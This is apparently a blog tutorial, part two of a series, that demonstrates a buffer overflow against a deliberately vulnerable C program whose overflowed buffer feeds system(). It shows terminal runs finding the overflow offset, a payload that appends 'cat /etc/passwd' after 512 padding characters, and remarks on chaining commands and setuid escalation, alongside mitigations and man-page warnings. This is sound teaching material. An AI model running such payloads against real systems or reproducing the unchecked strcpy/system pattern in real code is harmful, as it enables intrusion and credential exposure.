Buffer Overflow: Part 2

It has been very long since I have written something for the blog now, especially for the last post which I had mentioned that I would come back with a second part for it. Coming straight to the point, we have it here. 🙂
Just a recap of what we have talked about before on buffer over flow attacks: Any attack that exploits the factor that the copying of a string to a buffer is not checked for size(string length) limit can be included in the Buffer Overflow attack category.
At first we will look at a simple demonstration for the buffer overflow attack. For this we should have a vulnerable program written. Without loss of generality we can use the below program for demonstration and if required further study because as the program size increases, just the complexity to find the limit for buffer overflowing increases, mostly all other factors remains same.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char cmd[10];
char buf[500];

strcpy(buf, argv[1]);
printf(“\n%s   [[[[[%s]]]]]]\n”, buf, cmd);
system(cmd);

return 0;
}

What this program does:
Simply copies the first command line argument to a character
variable buf of size 500. At a later stage, the command list stored in the
variable cmd is executed using the in-built function system.

Vulnerability:
* The length of the command line argument is not compared(checked) with
the size of the destination variable – buf. The part of the input that
overflows the buf array and gets overwritten into the cmd variable which
in-turn gets executed automatically using the system function.

  • If the final executable is a set-uid program, then the running
    process can automatically inherit the the permissions of the owner
    program. Say if the owner was root, the attacker gets superuser
    power.

What can be done:
Use strncpy instead of strcpy. Strncpy helps us to specify the length
of sting that is to be copied to the final destination. On the other
hand the default length for stcpy would the maximum string length.
(Refer MAN pages for strcpy and strncpy)

Below given is the input and output for various lengths of inputs(different
lengths for the string AAAA…AAA):

BufferOverFlow||22:41$ ./simple python2.7 -c 'print "A" * 510'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[[[[[p�k�]]]]]]
sh: $’p\205k\206\377\177′: command not found

BufferOverFlow||22:42$ ./simple python2.7 -c 'print "A" * 511'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[[[[[@�y$]]]]]]
sh: @�y$: command not found

BufferOverFlow||22:41$ ./simple python2.7 -c 'print "A" * 512'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[[[[[]]]]]]

BufferOverFlow||22:42$ ./simple python2.7 -c 'print "A" * 513'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[[[[[A]]]]]]
sh: A: command not found

BufferOverFlow||22:41$ ./simple python2.7 -c 'print "A" * 515'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[[[[[AAA]]]]]]
sh: AAA: command not found

This shows us that (for the above given program) when the input size becomes larger than or equal to 513(remember that the buffer length was 500charactors), the second variable, cmd starts to get overwritten by the excess or in our case the overflowed characters from the input. Therefore a conclusion can be made that if the input string can be formatted in such a way that a valid bash command can be appended to the last of 512 random characters, that will get executed .i.e., python2.7 -c 'print "A" * 512 + "&lt;required command&gt;"'

If the input was python2.7 -c 'print "A" * 512 + "cat /etc/passwd"', the attacker would be able to read the passwd file from the vulnerable machine.

NOTE: If space is to be used outside double or single quotes while giving input to the above program, remember to escape it using a backslash in the beginning.

This attack can be extended easily:
The statement terminating symbol for bash script is a semi colon. So, therefor, by using a semi colon at the end of each statement to make a small script to be given as the input, could prove to be more dangerous.

IMPORTANT:
“Do not use system() from a program with set-user-ID or set-group-ID privileges, because strange values for some environment variables might be used to subvert system integrity. Use the exec(3) family of functions instead, but not execlp(3) or execvp(3).  system() will not, in fact, work properly from programs with set-user-ID or set-group-ID privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup.  (Debian uses a modified bash which does not do this when invoked as sh.).” – Linux MAN Pages(SYSTEM(3))

“If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a program reads or copies data into a buffer, the program first needs to check that there’s enough space. This may be unnecessary if  you  can  show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.” – Linux MAN Pages(STRCPY(3))

Most programs written in C would have some parts of it using a strcpy function call. A BOF attack can be designed to exploit this vulnerable function. In the next level we would remove the system function call and inject the code through the input(instead of the command list for system function call)which would get executed in the stack.

New link can be found at abijith-kp.github.io

Advertisements